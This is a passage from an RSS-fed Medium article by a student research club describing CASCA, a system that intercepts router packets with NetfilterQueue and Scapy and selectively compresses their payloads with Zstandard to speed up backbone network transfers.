and more efficient, we need to understand what’s happening with the data flowing through them. But here’s the thing: we don’t control where the data comes from or where it goes. So, we use a clever trick called NetfilterQueue to intercept the data as it moves through the network.</p><figure><img alt="OSI Reference Model" src="https://cdn-images-1.medium.com/max/942/1*91kyZFAMbuhJlyCGFrCf8Q.png" /></figure><blockquote>You can imagine it as watching traffic on a highway from a bridge above.<br>Now, this interception happens at a specific level of the network called the data link layer. It’s like catching cars as they drive by, but in our case, we’re grabbing packets of data instead. By peeking at these packets, we can gather important information about where they’re coming from, where they’re going, and what they contain. This helps us understand how the network is used and find ways to improve it.</blockquote><h4><strong>How does it happen?</strong></h4><p>In backbone networks, prioritizing efficiency necessitates a selective approach to data compression. Rather than compressing entire packets, our focus is solely on compressing the payload — the actual transmitted data — while leaving packet headers intact. This ensures critical information like source and destination addresses, error control details, and routing information remains unchanged.</p><p>While compression in the system would be the most efficient approach, both sender and receiver will need to be aware of the algorithm used. What CASCA does is move the compression from the application layers in the sender and receiver to the data link layer by intercepting packets. Thus, by implementing compression through CASCA, compression can occur within the routers themselves. This ensures a transparent process where neither the sender nor the receiver need to be aware of compression taking place. This approach is particularly advantageous for handling streams of data commonly encountered in backbone networks.</p><p>While compressing the payload reduces the amount of data that needs to be transmitted, it also introduces overhead in processing time and computational resources. To address this tradeoff, we employ a selective compression method. This approach allows us to adjust our compression strategy dynamically based on the data&#39;s characteristics and current network conditions.</p><h4><strong>Surfing the waves of information with precision and speed :</strong></h4><p>The journey of a packet from point A to point B is influenced by various factors, each contributing to the overall transit time. These factors include:</p><figure><img alt="Delays while packet transmission" src="https://cdn-images-1.medium.com/max/424/1*LlIZbfibGNkL0bhlRHXB3g.png" /></figure><ul><li><strong>Routing Delay Time:</strong> The time taken for routers to process and forward the packet along the optimal path to its destination.</li><li><strong>Processing Time:</strong> The time required for processing tasks such as packet inspection, routing table lookup, and Quality of Service (QoS) enforcement.</li><li><strong>Propagation Time: </strong>The time it takes for the packet to travel across the physical distance between nodes.</li><li><strong>Transmission Time: </strong>The time taken to transmit the packet over the network link, influenced by the link’s bandwidth and the packet’s size.</li></ul><p>We employ a predictive approach to data compression to optimize network performance and reduce bandwidth utilization. This involves including a neural network model trained on system metrics, such as the number of CPU cores, CPU utilization, CPU frequency, total memory, and memory availability, to predict the compression rate.</p><p>Furthermore, the transit time of packets is estimated using round trip time (RTT) and bandwidth considerations. By factoring in delay, queue, propagation, and transmission times, we accurately calculate the total transit time.</p><figure><img alt="Compression strategy" src="https://cdn-images-1.medium.com/max/942/1*7mXQ4z5qSiOKRoohmg-NNg.png" /><figcaption>Compression Conditions</figcaption></figure><p>However, compression itself introduces latency, as it takes time to compress and decompress data. Thus, we carefully evaluate whether performing compression on intercepted packets is advantageous. This decision hinges on whether the total time required for compression, transit with compression and decompression is less than the transit time for uncompressed packets.</p><blockquote>Compression time + Transit time (compression)+ decompression time &lt; Transit time(original)</blockquote><p>Suppose there’s a lot of data from various streams that come to the router. In this case, the compression time to compress any packet would be quite high since there is a lot of system load. In this case, sending data uncompressed might be more efficient.</p><p>In the case of a very heavily congested network, we would need to aggressively compress data so that network transit time is less.</p><h3>Tech behind CASCA:</h3><figure><img alt="Tech Stack" src="https://cdn-images-1.medium.com/max/648/1*_zp-TbKui0pNaCLKaUxWvg.png" /></figure><h4><strong>Network simulation</strong></h4><p>We simulate a sample network using gns3. We limit the bandwidth and the specs of the machines to simulate how our proposed model works under load. In network simulation using GNS3, we create a virtual representation of our target network setup. This involves designing a network topology similar to our actual backbone network and configuring virtual machines within GNS3 to mimic the hardware specifications of real-world machines. We then impose bandwidth limitations on network links to replicate congestion scenarios and simulate traffic generation to observe network behavior under different loads.</p><figure><img alt="GNS3 setup for emulating CASCA" src="https://cdn-images-1.medium.com/max/591/1*kR4SFZNqNrqwszYqYbTWZQ.png" /><figcaption>GNS3 Setup</figcaption></figure><p>Once the network environment is set up, we integrate our proposed compression model into the simulation. This includes configuring compression and decompression processes within network nodes to mirror real-world implementation. We then conduct performance evaluations, measuring metrics like transit time, throughput, and compression ratio under varying network conditions.</p><h4>Compression Technology</h4><p>Indeed, since we’re compressing data at the link layer, we’re dealing with packets regardless of their initial content or form. Our compression process remains the same whether it’s encrypted data or any other format.</p><figure><img alt="Filtering out packets" src="https://cdn-images-1.medium.com/max/482/1*xX0AMdRlqwF6VbQkbmHHVQ.png" /></figure><p><strong>Here’s how it works: </strong><br>We take the entire payload of each packet, compress it using our chosen compression algorithm, and then extract and retain only the relevant information from the packet headers. This information forms a new header for the compressed data.</p><blockquote>It’s like taking each packet, separating out the header information, compressing the payload, and then appending the compressed payload with the relevant header information.</blockquote><p>By compressing only the payload and retaining essential header information, we ensure that the critical details, such as source and destination addresses, error control, and routing information, remain intact. This allows for efficient data transmission while preserving essential network functionality.</p><h4>Packet manipulation using Scapy:</h4><p>Scapy is used to create a Scapy packet object from the raw packet data received from the Netfilter Queue. This object allows us to easily access and manipulate the various layers and fields of the packet. Scapy’s built-in layer detection capabilities are then used to determine if the intercepted packet contains a Raw layer, which typically carries payload data. We extract different headers from the packet, allowing the script to access information such as source and destination IP addresses, source and destination ports, and protocol type.</p><p>The payload data is extracted from the Raw layer of the packet and compressed or decompressed using Zstandard compression, depending on whether the packet is outgoing or incoming. After compression or decompression, we reconstruct the packet with the modified payload data. This involves updating the packet’s Raw layer with the compressed or decompressed payload.</p><h4>Netfilterqueue and iptable rules:</h4><p>Netfilter Queue is a mechanism provided by the Linux kernel’s Netfilter framework that allows userspace programs to intercept and modify network packets. It operates by providing a queueing mechanism where packet matching rules can be directed for processing by userspace applications.</p><p>In the context of CASCA, Netfilter Queue is being utilized to intercept network packets at the firewall level and to capture outgoing and incoming IP packets. When a packet is intercepted, it is passed to the user space program for further processing.</p><p>Within the defined function, the code inspects each intercepted packet using Scapy. It then examines the IP and UDP headers to determine the source, destination, and type of traffic.</p><p>For outgoing packets, it compresses the payload data using Zstandard compression and updates the packet accordingly before allowing it to continue its journey.</p><h4>Zstandard for compressing</h4><figure><img alt="Compression speed and decompression speed comparison" src="https://cdn-images-1.medium.com/max/1024/1*A4_Qpas-i46XPQY8G0wZag.png" /></figure><p>Using Zstandard for data compression in the context of backbone networks offers several advantages, particularly due to its high compression and decompression rates while maintaining excellent compression ratios. This makes it an attractive choice for optimizing network performance without sacrificing data integrity.</p><p>One of the key considerations in selecting a compression algorithm is the tradeoff between compression speed and compression ratio. Compression speed refers to how quickly data can be compressed, while compression ratio refers to the level of compression achieved, typically measured as the ratio of compressed data size to original data size.</p><p>Below is a comparison between different compression algorithms:-</p><figure><img alt="Comparison between different compression algorithms" src="https://cdn-images-1.medium.com/max/420/1*1wbU5nNg6GlcexlvnkC9Rg.png" /></figure><p>In the case of Zstandard, a balance between speed and compression ratio is struck. It achieves high compression rates, meaning it can significantly reduce the size of data packets while also maintaining relatively fast compression and decompression speeds. This is crucial in backbone networks, where efficient data transmission is essential, and latency must be minimized.</p><h3>Working of CASCA</h3><figure><img alt="Working of CASCA for client and server" src="https://cdn-images-1.medium.com/max/1024/1*A-gHb6ajPfxJVgj8wXa3GQ.gif" /><figcaption>Compressing Image and transferring it using CASCA</figcaption></figure><p>We can visualize the work by using the demonstration above; here, we’re transferring an image from our local machine (X) to another host (Y). Underneath, NetfilterQueue is being used to intercept all the packets transmitted towards Y from source X.</p><p>Scapy plays a critical role in this process. It dissects each packet, meticulously identifying the headers and extracting the payload (the actual image data). Subsequently, we use Zstandard, a powerful compression algorithm, to selectively compress these packets on the fly.</p><p>Finally, on the receiving end (Y), the decompressed packets are reassembled, resulting in the original file.</p><h3>Novelty and scalability:</h3><p>Our solution, using Zstandard for data compression, can be deployed directly within routers and can offer a seamless experience for users. Unlike existing solutions that may require additional software or configurations, our approach integrates compression directly into the network infrastructure. This means developers can implement our solution effortlessly, using a simple command without a complex setup.</p><p>In the upcoming time, we plan to integrate Coflow Awareness into CASCA to enhance its network management capabilities. By incorporating Coflow Awareness, CASCA will be able to intelligently prioritize and manage data flows based on their Coflow relationships. This means that CASCA will be able to optimize the transmission of Coflows, grouping related flows together and ensuring they are transmitted efficiently through the network. This enhancement will lead to improved network resource utilization, reduced latency, and enhanced application performance, particularly for data-intensive distributed computing tasks.</p><p>This article is published as a part of the ‘Decoding the Architecture Series’ under Spider Research and Development Club, NIT Trichy.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c32020e4d6fd" width="1" height="1" alt=""><hr><p><a href="https://medium.com/spidernitt/casca-coflow-aware-selective-compression-accelerator-c32020e4d6fd">CASCA: Coflow Aware Selective Compression Accelerator</a> was originally published in <a href="https://medium.com/spidernitt">Spider R&amp;D</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>